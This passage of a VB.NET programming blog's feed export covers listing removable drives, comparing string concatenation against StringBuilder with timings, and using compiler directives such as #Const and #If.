        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; Info.IsReady &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          IsDriveReady(Count) = &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;
          VolumeLabel(Count) = Info.VolumeLabel
        &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
          IsDriveReady(Count) = &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
          VolumeLabel(Count) = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; Info.DriveType = DriveType.Network &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          PathToDrive(Count) = GetNetDriveName(ThisLetter &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;:&amp;quot;&lt;/span&gt;)
        &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
          PathToDrive(Count) = ThisLetter &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;:&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        Count += 1
      &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Next&lt;/span&gt; Info
  &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt; ex &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; Exception
    &lt;span class=&quot;rem&quot;&gt;&#39; Error handling&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Sub&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;and you call this procedure:&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; VolumeLabel(0)
&lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; PathToDrive(0)
&lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; IsDriveReady(0)
GetDrivesOfType(VolumeLabel, PathToDrive, IsDriveReady, DriveType.Removable)&lt;/pre&gt;

&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;to get all removable drives. If you want to get only USB memory sticks, remember that drives A and B are floppy disks. The output, if you use similar ListBox output as above, would look like this:&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;VolumeLabel; PathToDrive; IsDriveReady
; A:; False
PORTABLEAPP; I:; True&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;So, the only USB stick drive would have a drive letter &amp;quot;I&amp;quot;.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/2018523048951831510/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/2018523048951831510' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/2018523048951831510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/2018523048951831510'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/09/get-disk-drive-type-with-vbnet.html' title='Get disk drive type with VB.NET'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-3915763910594325519</id><published>2008-09-24T03:25:00.001-07:00</published><updated>2008-09-24T03:26:23.211-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="StringBuilder"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><title type='text'>Concatenate strings in VB.NET</title><content type='html'>&lt;p&gt;VB.NET introduced a new way to concatenate strings, StringBuilder class. In VB.NET strings are immutable. This means that once a string is created its value can not be changed. So when your code concatenates strings, the strings themselves pointed by a string variable does not change. Instead a new string object is created and the string variable starts to reference this new string object.&lt;/p&gt;  &lt;p&gt;Does this make any difference when concatenating strings in VB.NET code? Not really if you have a simple: MyString = &amp;quot;Hello &amp;quot; &amp;amp; &amp;quot;world!&amp;quot;. But things get quite different when your code concatenates strings inside loops or you have otherwise excessive string manipulation in your code.&lt;/p&gt;  &lt;h4&gt;Concatenate strings with &amp;amp; -operator&lt;/h4&gt;  &lt;p&gt;Here&#39;s a simple procedure that makes concatenation in a loop with &amp;amp; -operator and finally shows elapsed time. Notice that the timing is done in a simple way. The timing in itself is not precise but enough to show the difference between two ways to concatenate strings.&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Imports&lt;/span&gt; System.Text&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Concatenate strings with &amp;amp;amp; -operator&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; ConcatenateString()
  &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; StartTime &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; DateTime
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; Elapsed &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Double&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; ResultString &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempStr &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; i &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;

  ResultString = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
  TempStr = &lt;span class=&quot;str&quot;&gt;&amp;quot;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&amp;quot;&lt;/span&gt;
  StartTime = System.DateTime.Now
  &lt;span class=&quot;kwrd&quot;&gt;For&lt;/span&gt; i = 0 &lt;span class=&quot;kwrd&quot;&gt;To&lt;/span&gt; 9999
    ResultString = ResultString &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;Line &amp;quot;&lt;/span&gt; &amp;amp; i &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt; &amp;amp; TempStr &amp;amp; Environment.NewLine
  &lt;span class=&quot;kwrd&quot;&gt;Next&lt;/span&gt; i
  Elapsed = System.DateTime.Now.Subtract(StartTime).TotalMilliseconds
  MessageBox.Show(&lt;span class=&quot;str&quot;&gt;&amp;quot;Elapsed time &amp;quot;&lt;/span&gt; &amp;amp; Elapsed.ToString &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot; ms with &amp;amp; -operator&amp;quot;&lt;/span&gt;, _
    &lt;span class=&quot;str&quot;&gt;&amp;quot;Elapsed Time&amp;quot;&lt;/span&gt;, _
    MessageBoxButtons.OK, _
    MessageBoxIcon.Information)

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Sub&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;and the result is&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://lh5.ggpht.com/teemuhh/SNoVoFbeQnI/AAAAAAAAAC4/f7PrbEWq4vY/s1600-h/20080924_ConcatenateString%5B2%5D.jpg&quot;&gt;&lt;img style=&quot;border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px&quot; height=&quot;109&quot; alt=&quot;Concatenate String with &amp;amp; -operator&quot; src=&quot;http://lh3.ggpht.com/teemuhh/SNoVoQKHWuI/AAAAAAAAAC8/-4HOR3t3N7A/20080924_ConcatenateString_thumb.jpg?imgmax=800&quot; width=&quot;244&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h4&gt;Concatenate strings with StringBuilder class&lt;/h4&gt;

&lt;p&gt;Below is the same procedure as above. Now the concatenation of the strings is done with the StringBuilder object.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Imports&lt;/span&gt; System.Text&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Concatenate strings with StringBuilder&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; ConcatenateStringBuilder()
  &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; StartTime &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; DateTime
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; Elapsed &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Double&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; ResultString &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempStr &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; oStrBuilder &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; StringBuilder
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; i &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;

  ResultString = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
  TempStr = &lt;span class=&quot;str&quot;&gt;&amp;quot;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&amp;quot;&lt;/span&gt;
  oStrBuilder = &lt;span class=&quot;kwrd&quot;&gt;New&lt;/span&gt; StringBuilder()
  StartTime = System.DateTime.Now
  &lt;span class=&quot;kwrd&quot;&gt;For&lt;/span&gt; i = 0 &lt;span class=&quot;kwrd&quot;&gt;To&lt;/span&gt; 9999
    oStrBuilder.Append(&lt;span class=&quot;str&quot;&gt;&amp;quot;Line &amp;quot;&lt;/span&gt;)
    oStrBuilder.Append(i)
    oStrBuilder.Append(&lt;span class=&quot;str&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt;)
    oStrBuilder.Append(TempStr)
    oStrBuilder.Append(Environment.NewLine)
  &lt;span class=&quot;kwrd&quot;&gt;Next&lt;/span&gt; i
  &lt;span class=&quot;rem&quot;&gt;&#39; Move the result to ResultString variable&lt;/span&gt;
  ResultString = oStrBuilder.ToString
  Elapsed = System.DateTime.Now.Subtract(StartTime).TotalMilliseconds
  MessageBox.Show(&lt;span class=&quot;str&quot;&gt;&amp;quot;Elapsed time &amp;quot;&lt;/span&gt; &amp;amp; Elapsed.ToString &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot; ms with StringBuilder&amp;quot;&lt;/span&gt;, _
    &lt;span class=&quot;str&quot;&gt;&amp;quot;Elapsed Time&amp;quot;&lt;/span&gt;, _
    MessageBoxButtons.OK, _
    MessageBoxIcon.Information)

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Sub&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;and now the result is&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://lh3.ggpht.com/teemuhh/SNoVotWSnfI/AAAAAAAAADA/8MfLpUu33aE/s1600-h/20080924_ConcatenateStringBuilder%5B2%5D.jpg&quot;&gt;&lt;img style=&quot;border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px&quot; height=&quot;112&quot; alt=&quot;Concatenate String with StringBuilder&quot; src=&quot;http://lh4.ggpht.com/teemuhh/SNoVpAitMdI/AAAAAAAAADE/cDIOyu4LLDA/20080924_ConcatenateStringBuilder_thumb.jpg?imgmax=800&quot; width=&quot;244&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h4&gt;Conclusions&lt;/h4&gt;

&lt;p&gt;In the codes above the difference between methods was 17.5 seconds versus 0.015 seconds. So the conclusion is clear, StringBuilder class gave over 1 000 times faster results than &amp;amp; -operator. When your code concatenates strings inside loops or you have otherwise excessive string manipulation, use StringBuilder class to get most of your application.&amp;#160; But as I stated in the beginning of this post, &amp;amp; -operator is still useful. Using StringBuilder class in each and every simple concatenation of the strings would be an overkill.&lt;/p&gt;

&lt;p&gt;But there&#39;s much more in StringBuilder class than just concatenating strings. Check &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/system.text.stringbuilder(VS.80).aspx&quot;&gt;Microsoft&#39;s reference&lt;/a&gt; for a complete list of the features StringBuilder class has to offer.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/3915763910594325519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/3915763910594325519' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/3915763910594325519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/3915763910594325519'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/09/concatenate-strings-in-vbnet.html' title='Concatenate strings in VB.NET'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh3.ggpht.com/teemuhh/SNoVoQKHWuI/AAAAAAAAAC8/-4HOR3t3N7A/s72-c/20080924_ConcatenateString_thumb.jpg?imgmax=800" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-2106066221789995764</id><published>2008-09-22T04:43:00.001-07:00</published><updated>2008-09-22T04:44:10.878-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Compiler Directives"/><category scheme="http://www.blogger.com/atom/ns#" term="Express Edition"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><title type='text'>Using compiler directives with VB.NET</title><content type='html'>&lt;p&gt;With VB.NET Microsoft introduced compiler directives to Visual Basic language. Compiler directives have been around for a long time in other languages and compilers and now they are also part of Visual Basic.&lt;/p&gt;  &lt;p&gt;There are four compiler directives in VB.NET:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;#Const directive &lt;/li&gt;    &lt;li&gt;#ExternalSource directive &lt;/li&gt;    &lt;li&gt;#If...Then...#Else directive &lt;/li&gt;    &lt;li&gt;#Region directive &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;ExternalSource directive&lt;/h4&gt;  &lt;p&gt;Directive is used for mapping between specific lines of source code and external source text. See &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/szc67b5s(VS.80).aspx&quot;&gt;Microsoft&#39;s reference&lt;/a&gt; for information about this directive.&lt;/p&gt;  &lt;h4&gt;Region directive&lt;/h4&gt;  &lt;p&gt;With #Region &amp;quot;name&amp;quot;...#End Region directive you can organize source code to the blocks in the editor. These blocks have &amp;quot;+&amp;quot;-sign to &amp;quot;open&amp;quot; the block and &amp;quot;-&amp;quot;-sign to &amp;quot;hide&amp;quot; the block. When a block is hidden, only the &amp;quot;+&amp;quot;-sign followed by region&#39;s name are visible. This is very handy if the source file is long. You can put for example all helper routines to &amp;quot;helper&amp;quot;-region and form&#39;s event handlers to &amp;quot;form&amp;quot;-region. When blocks are collapsed, all you see is &amp;quot;helper&amp;quot; and &amp;quot;form&amp;quot; titles instead of lots of source code.&lt;/p&gt;  &lt;h4&gt;Const directive&lt;/h4&gt;  &lt;p&gt;This directive is commonly used in conjunction with #If directive. With #Const directive you can assign compiler variables which you can test with #If...Then...#Else directive.&lt;/p&gt;  &lt;p&gt;#Const directives can be set from Project Properties to be global constants i.e. they are available in all project&#39;s modules. However, this is not possible with VB.NET Express Edition. If you are using Express Edition, #Const directive is only available in the module where it is defined.&lt;/p&gt;  &lt;h4&gt;If...Then...Else directive&lt;/h4&gt;  &lt;p&gt;#If...Then...#Else directive is the most flexible and the most useful VB.NET compiler directive. Below are a few samples for what you can do with this directive.&lt;/p&gt;  &lt;p&gt;Conditional compiling:&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;preproc&quot;&gt;#Const&lt;/span&gt; TargetOS = &lt;span class=&quot;str&quot;&gt;&amp;quot;Vista&amp;quot;&lt;/span&gt;

&lt;span class=&quot;preproc&quot;&gt;#If&lt;/span&gt; TargetOS = &lt;span class=&quot;str&quot;&gt;&amp;quot;Vista&amp;quot;&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
   &lt;span class=&quot;rem&quot;&gt;&#39; Windows Vista specific code&lt;/span&gt;
&lt;span class=&quot;preproc&quot;&gt;#ElseIf&lt;/span&gt; TargetOS = &lt;span class=&quot;str&quot;&gt;&amp;quot;WinXP&amp;quot;&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
   &lt;span class=&quot;rem&quot;&gt;&#39; Windows XP specific code&lt;/span&gt;
&lt;span class=&quot;preproc&quot;&gt;#Else&lt;/span&gt;
   &lt;span class=&quot;rem&quot;&gt;&#39; Code for other OS&lt;/span&gt;
&lt;span class=&quot;preproc&quot;&gt;#End if&lt;/span&gt;&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;With conditional compiling you can write operating system, processor specific or other target platform specific code to the same source file. Changing #Const directive value and recompiling code gives you platform specific executables without maintaining multiple source codes for the same application.&lt;/p&gt;

&lt;p&gt;Simple localization:&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;preproc&quot;&gt;#Const&lt;/span&gt; Language = &lt;span class=&quot;str&quot;&gt;&amp;quot;French&amp;quot;&lt;/span&gt;

&lt;span class=&quot;preproc&quot;&gt;#If&lt;/span&gt; Language = &lt;span class=&quot;str&quot;&gt;&amp;quot;French&amp;quot;&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
   &lt;span class=&quot;rem&quot;&gt;&#39; Show message to user in French&lt;/span&gt;
&lt;span class=&quot;preproc&quot;&gt;#Else&lt;/span&gt;
   &lt;span class=&quot;rem&quot;&gt;&#39; Show message to user in English&lt;/span&gt;
&lt;span class=&quot;preproc&quot;&gt;#End if&lt;/span&gt;&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;If you have a simple user interface in your application or otherwise do not need a full localization, you can make a simple localization with conditional compiling.&lt;/p&gt;

&lt;p&gt;Debugging code in source code:&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;preproc&quot;&gt;#Const&lt;/span&gt; DebugMode = &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; DoSomething(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; ArgNumber &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;)
&lt;span class=&quot;preproc&quot;&gt;#If&lt;/span&gt; DebugMode = &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
  Debug.WriteLine(&lt;span class=&quot;str&quot;&gt;&amp;quot;Entered sub DoSomething with argument: &amp;quot;&lt;/span&gt; &amp;amp; ArgNumber)
&lt;span class=&quot;preproc&quot;&gt;#End If&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39; Rest of procedure code&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; &lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

